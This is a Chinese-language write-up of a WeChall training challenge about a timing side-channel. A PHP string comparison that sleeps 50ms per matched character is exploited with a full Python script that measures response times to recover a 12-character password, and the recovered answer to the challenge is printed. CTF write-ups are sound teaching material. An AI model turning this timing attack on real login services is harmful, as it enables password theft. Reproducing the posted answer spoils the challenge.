Training: Time is of the Essence (Training, Coding, Exploit) by
gizmore 经典 timing side-channel 攻击——PHP 密码比对函数逐字符泄露 50ms
时间差。
Challenge
密码验证函数 utf8_stringCompare()
在比较每个字符成功后执行 usleep(50000)。网络延迟掩盖了 CPU
级别的时间差,但 50ms 的 sleep 足够在 HTTP 层面检测。
https://www.wechall.net/en/challenge/training/timing1/index.php
source 通过 ?show=source
获取,提示(password.php 直接访问)确认密码为 12 字符纯字母
[a-zA-Z]{12}。
Source Analysis
vulnerable.php 中的比较逻辑:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 function utf8_stringCompare ($a , $b ) { $len_a = mb_strlen ($a ); $len_b = mb_strlen ($b ); if ($len_a !== $len_b ) { return false ; } usleep (50000 ); for ($i = 0 ; $i < $len_a ; $i ++) { $char_a = mb_substr ($a , $i , 1 ); $char_b = mb_substr ($b , $i , 1 ); if ($char_a !== $char_b ) { return false ; } usleep (50000 ); } return true ; }
时间模型:N 个正确前缀字符 → 响应时间 = baseline + (1 + N) ×
50ms。长度不对直接返回,0 sleep。
Solution
Step 1: 探测长度
提交 'A' * N (N = 1..60),使用
?ajax=1&nosess=1 减少响应体积。正确长度比错误长度多 1
次 sleep(+50ms)。requests.Session() 保持 TCP+TLS
连接复用,将单次请求开销从 ~1.4s 降到 ~0.85s。
1 2 len=10: 306ms len=11: 305ms len=12: 355ms ← +50ms len=13: 303ms len=14: 302ms
Step 2: 逐字符提取
对每个位置,测试全部 52
个候选字符(a-zA-Z),用中位数过滤网络抖动。每个正确字符比错误候选多
+50ms。
由于 FlClash 代理引入额外延迟,每个候选需要 10-20
次采样才能得到可靠信号。完整提取脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 import requestsimport timeimport statisticsimport reBASE_URL = 'https://www2.wechall.net/en/challenge/training/timing1/index.php?ajax=1&nosess=1' SUBMIT_URL = 'https://www2.wechall.net/en/challenge/training/timing1/index.php' COOKIE = 'WC=<your_cookie>' PW_LEN = 12 CHARSET = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ' def get_csrf (): s = requests.Session() s.headers.update({'Cookie' : COOKIE, 'User-Agent' : 'Mozilla/5.0' }) r = s.get(SUBMIT_URL, timeout=20 ) m = re.search(r'gwf3_csrf.*?value="([^"]+)"' , r.text) return m.group(1 ) if m else None csrf = get_csrf() s = requests.Session() s.headers.update({'Cookie' : COOKIE, 'User-Agent' : 'Mozilla/5.0' }) s.post(BASE_URL, data={'answer' : 'x' , 'solve' : 'Submit' , 'gwf3_csrf' : csrf}, timeout=20 ) time.sleep(0.1 ) def med (answer, n=8 ): times = [] for _ in range (n): for retry in range (2 ): try : start = time.perf_counter() r = s.post(BASE_URL, data={ 'answer' : answer, 'solve' : 'Submit' , 'gwf3_csrf' : csrf }, timeout=20 ) r.content times.append(time.perf_counter() - start) break except : time.sleep(2 ) return statistics.median(times) if times else 0 password = '' for pos in range (PW_LEN): pad = 'A' * (PW_LEN - len (password) - 1 ) candidates = [] for c in CHARSET: t = med(password + c + pad, n=5 ) candidates.append((c, t)) candidates.sort(key=lambda x: x[1 ], reverse=True ) refined = [] for c, _ in candidates[:2 ]: t = med(password + c + pad, n=12 ) refined.append((c, t)) refined.sort(key=lambda x: x[1 ], reverse=True ) best = refined[0 ] delta = best[1 ] - refined[1 ][1 ] password += best[0 ] print (f'[{pos+1 :2d} /12] {best[0 ]} D={delta*1000 :5.0 f} ms best={best[1 ]*1000 :.0 f} ms' ) print (f'\nPassword: {password} ' )csrf2 = get_csrf() s2 = requests.Session() s2.headers.update({'Cookie' : COOKIE, 'User-Agent' : 'Mozilla/5.0' }) r2 = s2.post(SUBMIT_URL, data={ 'answer' : password, 'solve' : 'Submit' , 'gwf3_csrf' : csrf2 }, timeout=20 ) print ('Solved!' if 'Your answer is correct' in r2.text else 'Wrong' )
Step 3: 提取结果
每字符的 timing 数据(median of 12-15 samples):
1 2 3 4 5 6 7 8 9 10 11 12 [ 1/12] F Δ= 51ms best=413ms [ 2/12] a Δ= 62ms best=468ms [ 3/12] s Δ= 49ms best=511ms [ 4/12] t Δ= 49ms best=558ms [ 5/12] C Δ= 43ms best=610ms [ 6/12] i Δ= 52ms best=650ms [ 7/12] n Δ= 50ms best=702ms [ 8/12] a Δ= 53ms best=762ms [ 9/12] t Δ= 50ms best=807ms [10/12] i Δ= 47ms best=864ms [11/12] n Δ= 46ms best=913ms [12/12] g Δ= — best= —
Position 5 的大写 C 是关键验证点。提交 FastC... 与
Fastc... 的对比测试确认了 uppercase:
1 2 3 FastCinatiAA (C upper): 859ms ← 11 sleeps: 1 base + 10 matched FastcinatiAA (c lower): 556ms ← 5 sleeps: 1 base + 4 matched Delta: 303ms = 6 sleeps difference
FastCinating